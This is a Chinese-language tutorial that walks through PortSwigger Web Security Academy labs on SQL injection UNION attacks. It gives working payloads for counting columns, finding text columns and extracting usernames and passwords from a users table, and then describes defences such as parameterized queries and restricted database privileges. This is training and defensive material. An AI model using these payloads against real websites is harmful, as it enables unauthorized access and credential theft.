UNION攻擊 (2)
以下的題目,是一步一步的教導從測試欄位數量、欄位的資料型態、利用sqli顯示資料、利用sqli偷出資料等,其實比較適合放在前一篇,但這些題目在portswigger其實比較後面。
基礎知識補充
-- string injection
' or '1' = '1
-- 利用註解來 injection
admin' --
利用字串插補(string interpolation)或字串連結(concatenating strings)的方式來撰寫「動態的」 SQL 語法非常容易遭到 SQL Injection:
String based Injection:
select * from users where name = '" + userName + "';
-- username 帶入 userName = Smith' or '1'='1
-- 即可把所有資料撈出來
select * from users where name = 'Smith' or '1' = '1';
Numeric Based Injection:
"select * from users where employee_id = " + userID;
-- userID 帶入 1234567 or 1=1
-- 即可把所有資料撈出來
select * from users where employee_id = 1234567 or 1 = 1
Special characters SQL Injection
利用 SQL 中的特殊字符(例如註解)進行 SQL Injection
# php
$query = "select * from member where member_id = '".$memberID."' and password = '".$password."';”;
$result = $conn->query($sql);
在 $memberID
的內容中偷偷塞入註解符號--
,如此會變成:
-- 利用註解達到 SQL Injection
select * from member where member_id = 'admin' -- ' and password = 'pass';
題目敘述:
這一題只要去測有幾列就好了。
sql指令:
%27+UNION+SELECT+NULL,NULL,NULL--
指令來源:
實行結果:
題目敘述:
Lab: SQL injection UNION attack, finding a column containing text | Web Security Academy
這一題是要人用sqli把下圖紅圈內的東西4TFDP1顯示在網頁上。
首先點一下下圖紅圈,讓網址變成下圖反藍處:
step 1: 測試有幾欄,這邊直接測是不是3欄。
sql指令:
%27+UNION+SELECT+NULL,NULL,NULL--
指令來源:
實行結果: 可以看到多了一欄空白。
step 2: 測試每個欄位的資料型態
sql指令: (這裡假設第三欄是文字型態)
%27+UNION+SELECT+NULL,NULL,%27text%27--
指令來源:
實行結果:
看來是失敗的,再來試試第二個欄位是不是:
sql指令:
%27+UNION+SELECT+NULL,%27text%27,NULL--
實行結果:
看來是成功在網頁上顯示text,接下來只要把text換成題目要的字串4TFDP1即可。
step 3: 把text換成題目要的字串4TFDP1
sql指令:
%27+UNION+SELECT+NULL,%274TFDP1%27,NULL--
實行結果:
題目敘述:
Lab: SQL injection UNION attack, retrieving data from other tables | Web Security Academy
如題目所述,就是要你撈出administrator的密碼,已經很好心的把table名稱(users)跟table裡的欄位名稱(username、password)都跟你說了。
按Access the lab後,會出現以下網頁,點下圖紅圈:
可以發現網址列的變化,Gifts的後面就是注入點。也就是說,以後步驟裡的sql語句就是貼在Gifts後面。
step 1. 確認欄位數量:
sql指令:
%27+UNION+SELECT+NULL,NULL--
指令來源:
實行結果:
step 2: 測試每個欄位的資料型態
sql指令: (這裡假設兩欄都是文字型態)
%27+UNION+SELECT+%27text%27,%27text%27--
指令來源:
實行結果:
step 3: 列出題目提到的兩個column的內容
sql指令:
'+UNION+SELECT+username,+password+FROM+users--
指令來源:
"select 欄位名稱 from table名稱"是所有資料庫共通指令。
實行結果:
只要點下圖右上角,輸入上面圖片紅圈裡的帳號密碼即可解決這一題。
題目敘述
Lab: SQL injection UNION attack, retrieving multiple values in a single column | Web Security Academy
一樣點下圖紅圈處:
看到下圖紅圈處的網址列,以後的sql語句要貼在Pets後面。
step 1. 確認欄位數量:
sql指令:
%27+UNION+SELECT+NULL,NULL--
指令來源:
實行結果:
step 2: 測試每個欄位的資料型態
sql指令: (這裡假設兩欄都是文字型態)
%27+UNION+SELECT+NULL,%27text%27--
指令來源:
實行結果:
step 3. 列出兩個column的內容
但這一次的兩個欄位,只有一個欄位可以接受文字類型,所以不能一次列出帳號跟密碼,只能分兩次sql語句做,一次帳號、一次密碼。
sql指令:
%27+UNION+SELECT+NULL,+username+FROM+users--
指令來源:
"select 欄位名稱 from table名稱"是所有資料庫共通指令。
實行結果:
sql指令:
'+UNION+SELECT+NULL,+password+FROM+users--
指令來源:
"select 欄位名稱 from table名稱"是所有資料庫共通指令。
實行結果:
密碼是對應的第二個。
防範 SQL Injection
要減少被 SQL Injection 的機會最重要的是不要使用 Dynamic Queries,而是改用 Static Queries 或 Parameterized Queries:
Static Query
-- Static Queryselect * from products;select * from users where user = "'" + session.getAttribute("UserID") + "'";
Parameterized Query
String query = "SELECT * FROM users WHERE last_name = ?";PreparedStatement statement = connection.prepareStatement(query);statement.setString(1, accountName);ResultSet results = statement.executeQuery();
減少授權的對象
- 對於每一個會連結到資料庫的應用程式都應該要擁有不同的驗證訊息(例如,連線字串)
- 應用程式通常不需要擁有刪除資料庫或資料表的權限
- 資料庫的帳號應該限制 schema 的存取
- 根據不同的資料庫帳號設定不同的存取權限,有些只能讀取,有些可以讀寫
#### 注意 - 即使已經透過 Parameterized Query 的方式來避免 SQL injection,表單驗證仍然一定要做,以此避免其他可能的攻擊,例如,Stored XSS, Information leakage, Logic errors – business rule validation 等。
- 若你的網站有提供排序的功能(
order by
),應該要把可以被排序的欄位放入「白名單」中(例如,firstname
),而不是讓使用者可以填入任何內容去做排序。
防止SQL注入的措施
1、SQL語句的執行代碼使用預編譯 PreparedStatement 。
2、確定每個數據的類型,比如是數字,數據庫則必須使用int類型來存儲。
3、限制傳入數據的長度,這能夠在一定程度上防止sql注入。
4、嚴格限制用戶使用數據庫的權限,能夠在一定程度上減少sql注入的危害。
5、避免直接響應一些 sql 語句執行異常的信息。
6、過濾參數中含有的一些數據庫關鍵詞。
Reference
https://pjchender.dev/internet/is-note-webgoat/
https://blog.csdn.net/weixin_46634468/article/details/120480080